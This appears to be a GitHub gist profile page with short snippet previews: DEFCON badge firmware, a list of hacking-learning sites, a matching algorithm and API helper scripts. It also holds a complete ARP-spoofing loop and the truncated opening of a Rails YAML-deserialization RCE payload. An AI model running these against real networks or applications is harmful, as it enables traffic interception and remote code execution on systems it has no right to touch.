Skip to content

Instantly share code, notes, and snippets.

View zpv's full-sized avatar
💻

Steven Zhao zpv

💻
View GitHub Profile
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@zpv
zpv / keybase.md
Created September 20, 2019 14:12
keybase.md

Keybase proof

I hereby claim:

  • I am zpv on github.
  • I am zhaosteven (https://keybase.io/zhaosteven) on keybase.
  • I have a public key ASChEhYHRVAPO6wBGvCTd1gsmYGGhwgos6q7k6H_hwPTWAo

To claim this, I am signing this object:

@zpv
zpv / badge.c
Created August 9, 2019 01:25
DEFCON27 badge.c
/*
DEFCON 27 Official Badge (2019)
Author: Joe Grand, Grand Idea Studio [@joegrand] aka Kingpin
Program Description:
This program contains the firmware for the DEFCON 27 official badge.
@zpv
zpv / knowledge.md
Created June 7, 2019 05:14
Best Websites to Learn Ethical Hacking

Cybrary

Cybrary is a completely FREE online cybersecurity training website. Here you can Learn, contribute and join the only free and open source ethical hacking training community online. It provides training for most complicated topics of the IT sector. It is supported by a community of people to provide free up-to-date lessons and learning materials. Cybrary also provides the chance to connect with businesses in the ITsec industry.

Hack This Site

Hack This Site is a free, safe and legal training platform for hackers to test their hacking skills. The website has a vast selection of hacking articles. It also has a huge forum where users can discuss hacking and security. It’s an active community with many active projects in development. You’ll find a lot of new challenges and missions on the homepage including:

  • Basic missions
  • Realistic missions
@zpv
zpv / railspwn.rb
Created May 9, 2019 18:47 — forked from niklasb/railspwn.rb
Rails 5.1.4 YAML unsafe deserialization RCE payload
require 'yaml'
require 'base64'
require 'erb'
class ActiveSupport
class Deprecation
def initialize()
@silenced = true
end
class DeprecatedInstanceVariableProxy
@zpv
zpv / arp_loop.sh
Created April 25, 2019 06:05
ARP Spoof Loop
#!/bin/env bash
while [ true ]; do
sleep 5
send_arp 192.168.1.66 ffffffffffff 192.168.1.254 ffffffffffff egiga0 00:22:B0:DD:FA:EE ffffffffffff reply
done
#!/bin/bash
# Rick Astley in your Terminal.
# By Serene Han and Justine Tunney <3
version='1.1'
rick='http://keroserene.net/lol'
video="$rick/astley80.full.bz2"
# TODO: I'll let someone with mac or windows machine send a pull request
# to get gsm going again :)
audio_gsm="$rick/roll.gsm"
audio_raw="$rick/roll.s16"
@zpv
zpv / smp.go
Last active May 20, 2019 00:41
smp.go
func solve(residents, hospitals [][]int) ([][2]int, error) {
if len(residents) != len(hospitals) {
return nil, errors.New("smp: sets must have equal sizes")
}
size := len(residents)
freeResidents := makeRange(size)
engaged := make(map[int]int) // key: hospital, value: resident
// GitHub Middlelayer
const app = require('express')();
const request = require('request');
const github_api = "https://api.github.com";
const key = 'OUATH_TOKEN';
const auth_header = '"Authorization: token OAUTH-TOKEN"';
app.get('*', (req, res, next) => {
@zpv
zpv / main.js
Created June 13, 2018 18:28
[Open Bugs Parented to Closed Stories] Set Work Item Parent to Related and Reparent to Regression Bugs
let vsts = require('vso-node-api');
let collectionURL = 'https://mcfddigitalservices.visualstudio.com/defaultcollection'
let workItemURL = 'https://mcfddigitalservices.visualstudio.com/_apis/wit/workItems/'
let token = 'TOKEN_HERE'
let authHandler = vsts.getPersonalAccessTokenHandler(token);
let connect = new vsts.WebApi(collectionURL, authHandler);